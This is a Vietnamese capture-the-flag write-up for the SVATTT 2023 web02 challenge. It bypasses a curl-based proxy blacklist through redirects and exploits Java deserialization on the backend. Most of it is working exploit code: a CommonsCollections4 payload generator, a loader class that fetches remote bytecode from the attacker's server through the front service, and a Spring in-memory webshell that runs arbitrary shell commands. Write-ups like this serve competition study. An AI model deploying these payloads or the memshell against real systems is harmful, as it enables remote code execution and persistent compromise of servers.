SVATTT-2023 Ctf Writeup - The new Waf Deser
Preface
Gõ phím viết bài này thì cũng đã gần 2 tháng kể từ đợt final A&D SVATTT 2023
kết thúc. Năm nay mình may may mắn được vào chung khảo chơi A&D và với role là defense (cấu hình log, patch bug,..etc). Vào thi thì khá loạn + nhiều việc, và vì mình role defense nên cũng chỉ ngó qua bài này và thấy backend y chang bài waf-deser
năm trước khác mỗi phần front-end, tưởng dễ nên mình vẫn chưa mò lại xem, nay đến deadline hoàn thành task ở clb mới lụi cụi làm, thấy hay nên write up lại luôn, coi như làm tài liệu tham khảo cho các năm sau :D
Cũng chia sẻ thêm thì bài này trong đợt thi mình chỉ thấy 1 vài team là làm được, lúc đấy tự hỏi sao đề y chang năm trước, sửa mỗi tí lại ít solves thế. Nay xem kĩ thì mới thấy dù bài này không quá khó nhưng để build exploit hoàn chỉnh thì rất tốn time + bận exploit ở mỗi round attack nữa thì rất khó để hoàn thành.
Anyway, bạn nào chưa đọc writeup bài waf-deser
năm trước thì có thể đọc writeup mình viết tham khảo lại. Mình cũng sẽ weaponize deser theo hướng up spring memshell để persistent ở mọi round thay vì chỉ đọc flag.
- src web02: https://drive.google.com/file/d/1TGM4H8hTohidrnB7OWkEPf4iOOxL9juA/view?usp=sharing
10.1.xx.93
: PUBLIC_IPubuntu.lab
: web02 address
docker-compose.yml
services:
front:
build: ./front
container_name: web2_front
networks:
- no-internet
- internet
ports:
- "8004:5000"
depends_on:
- back
restart: always
back:
build: ./back
container_name: web2_back
networks:
- no-internet
restart: always
networks:
internet: {}
no-internet:
internal: true
Sơ sơ qua thì file này deploy 2 services, trong đó service back
vs front
nằm cùng network là no-internet
, không có outbound ra network khác. Phần front
có expose port 8004
để conect đến được. Ý tưởng cũng chỉ có thể là dùng front
để exploit back
!
de old backend
Phần deser ở UserController
vẫn khá tương tự năm ngoái:
@RequestMapping(
value = {"/ticket/{info}"},
method = {RequestMethod.GET}
)
public String getUser(@PathVariable("info") String info, @RequestParam(name = "compress",defaultValue = "false") Boolean isCompress, Model model) {
String unencodedData = this.unEncode(info);
String returnData = "";
try {
byte[] data = Base64.getMimeDecoder().decode(unencodedData);
if (data.length > 2048) {
return "common/error";
} else {
User user = null;
if (isCompress) {
InputStream is = new GZIPInputStream(new ByteArrayInputStream(data));
ObjectInputStream ois = new ObjectInputStream(is);
user = (User)ois.readObject();
} else {
ObjectMapper objectMapper = new ObjectMapper();
user = (User)objectMapper.readValue(data, User.class);
}
if (user != null) {
model.addAttribute("user", user);
return user.getRole() + "/welcome";
} else {
return "common/error";
}
}
} catch (Exception var10) {
return "common/error";
}
}
Tuy nhiên ở đây check thêm độ dài payload sau khi gzip chỉ được bé hơn 2048
, nếu lớn hơn sẽ không vào phần deser –> failed. Exploit chỗ này vẫn có thể dùng chain CC4
để deser (check file pom.xml
) (thế thôi, phần dễ nhất 😀😀)
de front
Không còn sử dụng nginx mà là 1 con web python như sau:
FILTERED_HOSTS = ["back"]
FILTERED_PATHS = ["debug", "info", "ticket"]
// truncated
@app.route("/<path:url>", methods=["GET"])
def proxy(url):
r = make_request(
str(url), request.method, dict(request.headers), request.get_data()
)
return r
def make_request(url, method, headers={}, data=None):
if not is_approved(url):
abort(403)
if "curl/" in headers["User-Agent"].lower():
abort(403)
curl_command = ["curl", "-L", "-k", "-X", method, url]
for key, value in headers.items():
if key.lower() == "host" or key.lower() == 'user-agent':
continue
curl_command.extend(["-H", f"{key}: {value}"])
if data:
curl_command.extend(["--data", data.decode()])
try:
print(curl_command)
result = subprocess.run(
curl_command, shell=False, timeout=10, capture_output=True
)
return result.stdout, 200
except Exception as e:
print(e)
return jsonify({"error": f"Error executing curl"}), 500
def is_approved(url):
"""Indicates whether the given URL is allowed to be fetched. This
prevents the server from becoming an open proxy"""
parts = urlparse(url)
host = parts.hostname
path = parts.path
if not parts.scheme in ["http", "https"]:
return False
if host in FILTERED_HOSTS:
return False
for filter_path in FILTERED_PATHS:
if filter_path in path:
return False
return True
Con web này nhận target_url từ path và make request đến bằng curl, tuy nhiên target_url bị blacklist mất host là back
, phần path thì là "debug", "info", "ticket"
==> Không thể gọi trực tiếp đến back
cũng như entrypoint ticket
để deser.
Loay hoay tìm cách bypass mình ngồi nhìn lại mới để ý thấy curl command trong function make_request()
có option -L
- sẽ follow redirect, và đây cũng chính là cách bypass. Mình host 1 httpserver lên và redirect url về http://back/
sau đó cho service front
request đến bị redirect là truy cập được service back
:
deser
Vậy bây giờ mình đã có thể bypass blacklists ở service front
và gửi request đến back
để exploit deser, y chang bài năm trước 😱😱. Tất nhiên là không, cái khó là back
không có outbound (không thể bắn reverse shell, output dns/http,..etc) thì chỉ có thể nghĩ đến cách dùng Spring Echo/Spring Memshell.
Chain CommonsCollections4
gọi đến sink là TemplatesImpl
để load bytecode, nhờ đó chạy được java code thoải mái để RCE. Để sửa chain thay vì chạy command mà load Spring Echo/Spring Memshell thì sửa class bytecode được load là được.
Vì không phải trọng tâm bài này nên bạn nào chưa hiểu chain CC4 có thể đọc bài này của mình, đã phân tích phần lớn chain sử dụng sink là TemplatesImpl
(bao gồm CC4).
Về Spring Memshel thì vì chưa có thời gian nên mình chỉ mới quick note như này, đủ để dùng.
// truncated
public class ExploitUtils {
private static String pathEncode(String s) {
return s.replaceAll("\\r\\n", "-").replaceAll("=", "%3D").replaceAll("\\+", "%2B").replaceAll("/", "_");
}
private static final int bufferSize = 256;
private static ByteArrayOutputStream gZipEncode(InputStream inputStream) throws Exception {
ByteArrayOutputStream barr = new ByteArrayOutputStream();
GZIPOutputStream gos = new GZIPOutputStream(barr);
byte[] buffer = new byte[bufferSize];
try{
int len;
while((len = inputStream.read(buffer)) != -1) {
gos.write(buffer, 0, len);
}
} finally {
try{if(inputStream != null) inputStream.close();} catch(Exception e){}
try{if(gos != null) gos.close();} catch(Exception e){}
}
return barr;
}
private static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
private static ByteArrayOutputStream genCC4Proxy(String className) throws Exception {
// get memshell bytecode
byte[] bArr = ClassPool.getDefault().get(className).toBytecode();
// gen CC4 serialized chain
TemplatesImpl tplsImpl = new TemplatesImpl();
setFieldValue(tplsImpl, "_bytecodes", new byte[][]{bArr});
setFieldValue(tplsImpl, "_name", "ahihi");
setFieldValue(tplsImpl, "_tfactory", new TransformerFactoryImpl());
ConstantTransformer constTransformer = new ConstantTransformer(TrAXFilter.class); // loop 1 trả về TrAXFilter.class
InstantiateTransformer insTransformer = new InstantiateTransformer(new Class[]{javax.xml.transform.Templates.class}, new Object[]{tplsImpl}); // loop 2 gọi class TrAXFilter constructor
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
constTransformer, insTransformer
});
TransformingComparator transComparator = new TransformingComparator(chainedTransformer);
PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(transComparator);
setFieldValue(priorityQueue, "size", 2);
setFieldValue(priorityQueue, "queue", new Object[]{1,1});
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(priorityQueue);
oos.close();
return barr;
}
public static String genDeserPayload() throws Exception {
// get CC4 memshell serialized gadget chain then gzip encode
ByteArrayOutputStream barr = genCC4Proxy(evil.MemTemplatesImpl.class.getName());
InputStream is = new ByteArrayInputStream(barr.toByteArray());
ByteArrayOutputStream outBarr = gZipEncode(is);
// b64 + path encode
byte[] bytes = outBarr.toByteArray();
System.out.println("Generated payload length is: " + bytes.length);
String b64En = Base64.getEncoder().encodeToString(bytes);
String info = pathEncode(b64En);
System.out.println(info);
return info;
}
public static void main(String[] args) throws Exception {
genDeserPayload();
}
}
MemTemplatesImpl là class spring memshell mình lấy trong bài quick note ở trên
Và mình đã thử và failed:
Payload sau khi gzip có số bytes là 2623
, khi send sẽ không vào được deser. Vẫn poc cho có context. Host httpserver và redirect đến: http://back/ticket/H4sIAAAAA....?compress=true
:
@RequestMapping("/tiktikboom")
@ResponseBody
public void ticket(HttpServletResponse httpServletResponse) throws Exception {
String exploitBackendURL = "http://back/ticket/" + ExploitUtils.genDeserPayload() + "?compress=true";
httpServletResponse.setHeader("Location", exploitBackendURL);
httpServletResponse.setStatus(301);
}
Vậy serialized chain chứa memshell là quá dài để exploit deser. Do đó mình lên ý tưởng lần deser đầu sẽ chạy 1 ít code, phần code này sẽ request đến remote server để lấy memshell bytecode sau đó mới load bytecode này để chèn memshell.
What??, nhưng mà service back
làm gì có outbound. Lúc đấy mình mới để ý đó là lý do tại sao service front
lại cho ra internet, cùng xem lại file docker-compose.yml
, phần networks
của front
nằm ở cả no-internet
(chỉ connect back
) và internet
(có outbound):
services:
front:
build: ./front
container_name: web2_front
networks:
- no-internet
- internet
ports:
- "8004:5000"
depends_on:
- back
restart: always
back:
build: ./back
container_name: web2_back
networks:
- no-internet
restart: always
networks:
internet: {}
no-internet:
internal: true
Các host nằm chung 1 network thì có thể connect với nhau, dó đó từ service back
có thể request tới front
. Vậy cuối cùng ý tưởng sẽ là như này:
Front
request đếnhttpserver
,httpserver
return redirect đếnback
service với chain CC4 deser kéo remote class bytecode memshell (ProxyTemplatesImpl)Back
deser CC4 chain trên và chạy code kéo remote bytecode, ở đây do không có outbound, callback URL ra httpserver sẽ đi quafront
, sau đó load bytecode để chèn memshell (MemTemplatesImpl)- Memshell đã được load, dùng tiếp httpserver để con
front
redirect và truy cập memshell
Để cho dễ hình dung thì là như này:
ProxyTemplatesImpl
kéo bytecode qua front
:
public class ProxyTemplatesImpl extends AbstractTranslet {
public void transform(DOM document, SerializationHandler[] handlers)
throws TransletException {}
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
public static byte[] downloadUsingStream(String urlStr) throws Exception {
URL url = new URL(urlStr);
java.io.BufferedInputStream bis = new java.io.BufferedInputStream(url.openStream());
byte[] classBytecode = new byte[bis.available()];
bis.read(classBytecode);
bis.close();
return classBytecode;
}
public static Class loader(byte[] bytes) throws Exception {
URLClassLoader classLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader());
java.lang.reflect.Method method = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
method.setAccessible(true);
return (Class) method.invoke(classLoader, new Object[]{bytes, 0, bytes.length});
}
public ProxyTemplatesImpl() throws Exception {
super();
String callback = "http://front:5000/http://10.1.xx.93:8082/proxy/MemTemplatesImpl";
byte[] memBytecode = downloadUsingStream(callback);
loader(memBytecode).newInstance();
}
}
RequestMapping tương ứng:
// exploit from front
@RequestMapping("/tiktikboom")
@ResponseBody
public void ticket(HttpServletResponse httpServletResponse) throws Exception {
System.out.println("Received request: /tiktikboom");
String exploitBackendURL = "http://back/ticket/" + ExploitUtils.genDeserPayload() + "?compress=true";
httpServletResponse.setHeader("Location", exploitBackendURL);
httpServletResponse.setStatus(301);
}
MemTemplatesImpl
được request đến và load sau khi deser lần 1:
public class MemTemplatesImpl {
public MemTemplatesImpl() throws Exception {
super();
WebApplicationContext context = RequestContextUtils.findWebApplicationContext(((ServletRequestAttributes) RequestContextHolder.getRequestAttributes()).getRequest());
RequestMappingHandlerMapping mappingHandler = context.getBean(RequestMappingHandlerMapping.class);
Method method = MemTemplatesImpl.class.getMethod("run");
Method getMappingForMethod = mappingHandler.getClass().getDeclaredMethod("getMappingForMethod", Method.class, Class.class);
getMappingForMethod.setAccessible(true);
RequestMappingInfo mInfo = (RequestMappingInfo) getMappingForMethod.invoke(mappingHandler, method, MemTemplatesImpl.class);
MemTemplatesImpl obj = new MemTemplatesImpl("a");
mappingHandler.registerMapping(mInfo, obj, method);
}
public MemTemplatesImpl(String a) {}
@RequestMapping("/a/ayooo") // memshell path
public void run() {
try {
HttpServletRequest request = ((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest();
HttpServletResponse response = ((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getResponse();
String arg0 = request.getParameter("devme_63hdsbx");
if (arg0 != null) {
ProcessBuilder p;
String o = "";
PrintWriter w = response.getWriter();
if (System.getProperty("os.name").toLowerCase().contains("win")) {
p = new ProcessBuilder(new String[]{"cmd.exe", "/c", arg0});
} else {
p = new ProcessBuilder(new String[]{"/bin/bash", "-c", arg0});
}
java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A");
o = c.hasNext() ? c.next() : o;
c.close();
w.write(o);
w.flush();
w.close();
} else {
response.sendError(404);
}
} catch (Exception e) {}
}
}
RequestMapping tương ứng:
// callback
@RequestMapping("/proxy/MemTemplatesImpl")
@ResponseBody
public ByteArrayResource proxy() throws Exception {
System.out.println("Received callback request: /proxy/MemTemplatesImpl");
Path path = Paths.get(getClass().getResource("/evil/MemTemplatesImpl.class").toURI());
ByteArrayResource resource = new ByteArrayResource(Files.readAllBytes(path));
return resource;
}
Sau khi load thì code tiếp route redirect đến mem:
// run memshell from front
@RequestMapping("/memshell")
@ResponseBody
public void proxy(@RequestHeader("cmd4f") String cmd4f, HttpServletResponse httpServletResponse) throws Exception {
String exploitBackendURL = "http://back/a/ayooo?devme_63hdsbx=" + URLEncoder.encode(cmd4f, "utf-8");
httpServletResponse.setHeader("Location", exploitBackendURL);
httpServletResponse.setStatus(301);
}
Request: http://ubuntu.lab:8004/http://10.1.xx.93:8082/tiktikboom
HttpServer Log:
Request:
GET http://ubuntu.lab:8004/http://10.1.xx.93:8082/memshell
User-Agent: 123
cmd4f: ls
Response:
Full project để exploit mình có push lên tại đây: https://github.com/devme4f/SVATTT-2023_web02
Anotherway: Spring View Manipulation (SSTI) still, via deser
Nếu cứ chăm chăm phần deser có khi mọi người cũng dễ miss bug này. Vì chưa có thời gian nên chưa poc lại. Có thể thấy là back
dùng thymleaf
:
Sau khi deser thành class User
thì role
được nối thẳng vào return String của RequestMapping
:
==> Spring View Manipulation